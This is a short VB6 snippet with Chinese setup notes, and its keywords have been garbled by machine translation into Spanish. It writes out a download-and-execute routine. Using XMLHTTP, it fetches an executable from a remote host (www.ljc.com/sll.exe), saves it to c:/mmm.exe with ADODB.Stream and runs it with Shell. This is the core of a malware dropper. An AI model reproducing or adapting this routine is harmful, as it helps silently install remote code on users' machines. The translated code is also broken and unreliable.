建立一个vb工程，Proyecto1
添加引用: Tiempo de ejecución de secuencias de comandos de Microsoft, Microsoft Active Data Object, Microsoft MsXml
Formulario 1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Atenuado como Clase 1
Establecer a = Nuevo MSXML2.XMLHTTP
a.open get, http://www.ljc.com/sll.exe, Verdadero
Establecer d = Nueva Clase1
a.onreadystatechange = d
a.enviar
Subtítulo final
Clase 1:
Dim b As ADODB.Stream
Dim fso como Scripting.FileSystemObject
CurReadyState público siempre que sea largo
Función pública hacerAlgunos()
Depurar.Imprimir formulario1.a.readyState
Si Form1.a.readyState = 4 Entonces
www
Terminar si
Función final
Función pública www()
Establecer b = Nuevo ADODB.Stream
b.Tipo = 1
b.abierto
Establecer fso = Nuevo Scripting.FileSystemObject
Si Form1.a.readyState = 4 Entonces
b.Escribir (Form1.a.responseBody)
Si no es fso.FileExists (c:/mmm.exe) Entonces
b.SaveToFile c:/mmm.exe
Terminar si
Terminar si
b.Cerrar
Establecer b = Nada
Si fso.FileExists(c:/mmm.exe) Entonces Shell c:/mmm.exe, 1
Establecer fso = Nada
Función final
注意将Class1的doSome设置成default的.